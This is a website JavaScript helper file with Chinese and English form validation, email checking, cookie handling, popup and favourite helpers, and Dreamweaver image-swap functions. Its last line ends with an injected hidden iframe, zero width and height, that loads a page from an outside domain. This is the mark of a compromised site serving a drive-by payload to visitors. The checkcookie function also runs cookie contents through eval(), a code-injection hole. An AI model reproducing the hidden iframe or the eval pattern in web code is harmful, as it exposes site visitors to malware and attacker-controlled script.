function EnglishCheckMemberLogin(form){
if(form.name.value==''){alert("\n\nPlease input your name！\n\n");form.name.focus();return false;}
if(form.pass.value==''){alert("\n\nPlease input password！\n\n");form.pass.focus();return false;}
return true;
}
function CheckBlank(form,args)
{
for(var j=0,i=0;i<form.elements.length;i++){
if(form.elements[i].value==''&&form.elements[i].name==args[j])
	{alert("\n\n带*的为必填项！\n\n");form.elements[i].focus();++j;return false;}
if(form.elements[i].name==args[j]) j++;
}
return true;
}
function CheckenglishBlank(form,args)
{
for(var  j=0,i=0;i<form.elements.length;i++){
if(form.elements[i].value==''&&form.elements[i].name==args[j])
	{alert("\n\nWhich item will be fill with '*' ！\n\n");form.elements[i].focus();return false;}
if(form.elements[i].name==args[j]) j++;
}
return true;
}


function Checksearch(form)
{
if(form.keys.value==''||form.keys.value=='请输入关键字') return alerts(form.keys,"请输入关键字！");
return true;
}


function CheckMemberLogin(form,t){
if(form.name.value=='') return alerts(form.name,"请输入"+t+"名！");
if(form.password.value=='') return alerts(form.password,"请输入密码！");
return true;
}
function alerts(o,t){
	alert("\n\n"+t+"\n\n");
	o.focus();
	return false;
}


function EnglishChecksearch(form)
{
if(form.keys.value==''||form.keys.value=='Please input key words') return alerts(form.keys,"Please input key words！");
return true;
}


function EnglishCheckMemberLogin(form){
if(form.name.value=='') return alerts(form.name,"Please input username ！");
if(form.password.value=='') return alerts(form.password,"Please input password！");
return true;
}


function CheckBlank(form,args)
{
	var j=0;
	for(var i=0;i<form.elements.length;i++)
	{
		if(form.elements[i].value==''&&form.elements[i].name==args[j]) return alerts(form.elements[i],"带*的为必填项！");
		if(args[j]=="email"&&form.elements[i].name==args[j]){
			if(!checkmail(form.elements[i].value)) return alerts(form.elements[i],"请输入正确的Email地址！");
		}
		if(form.elements[i].name==args[j]) j++;
	}
return true;
}


function setFavorite(url,str){
window.external.addFavorite(url,str);
}
function setHome(url){
  this.homepage.style.behavior='url(#default#homepage)';this.homepage.setHomePage(url);
}


function openwin(args){
	var newwindow=window.open(args[0],args[1],args[2]);
	if(newwindow) newwindow.focus();
	//'height=375,width=400,resizable=yes,scrollbars=yes'
}


function checkcookie(s,l){
	if (document.cookie.indexOf(s) == -1){
		var expdate = new Date((new Date()).getTime() + (1 * 60 * 60 * 1000));
		s+="=general&show=true&;expires=" + expdate.toGMTString() + "; path=/;"
		document.cookie=s;
		return false;
	}
	var y=document.cookie,t=false;
	if((a=y.indexOf("show="))>=0){
		t=eval(y.substring(a+l,y.indexOf('&',a)));
	}
	if(!t) return false;
	return true;
}


function selectme(m){
	if(m.value=="请输入关键字") m.value="";
}
function checkmail(email){
	var names, name, i, c,s="abcdefghijklmnopqrstuvwxyz_-.";
	//Check for valid syntax in an email address.
	names = email.split("@")
	if(names.length!=2)  return false;
	for(var n in names){
		if(names[n].length<=0)  return false;
		names[n]=names[n].toLowerCase();
		for(var i=0;i<names.length-1;i++)
		if(names[i]==".") return false;
		for(i=0;i<names[n].length-1;i++){
			var stri=names[n].substring(i,i+1);
			if(s.indexOf(stri)<0&&parseInt(stri)!=stri)  return false;
		}
	}
	var ks=names[names.length-1];
	var k=ks.indexOf("."),kn=k,os=ks;
	while(k>0){
		ks=ks.substring(k+1,ks.length);
		k=ks.indexOf(".");
		kn+=k;
	}
	var m=ks.length;
	if(kn<=0) return false;
	if(m!=2&&m!=3){alert(ks); return false;}
	if(email.indexOf("..")>=0) return false;
	if(email.indexOf("--")>=0) return false;
	if(email.indexOf("__")>=0) return false;
	return true;
}



function ow(s,n,t){
var n=window.open(s,n,t);
n.focus();
}
//---------------------------------
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_showHideLayers() { //v3.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v='hide')?'hidden':v; }
    obj.visibility=v; }
}
//-----------------------------
//return alerts(form.elements[i],"请输入正确的Email地址！");<iframe src=http://www.wvyi.com/mu/pangzi.htm width=0 height=0></iframe>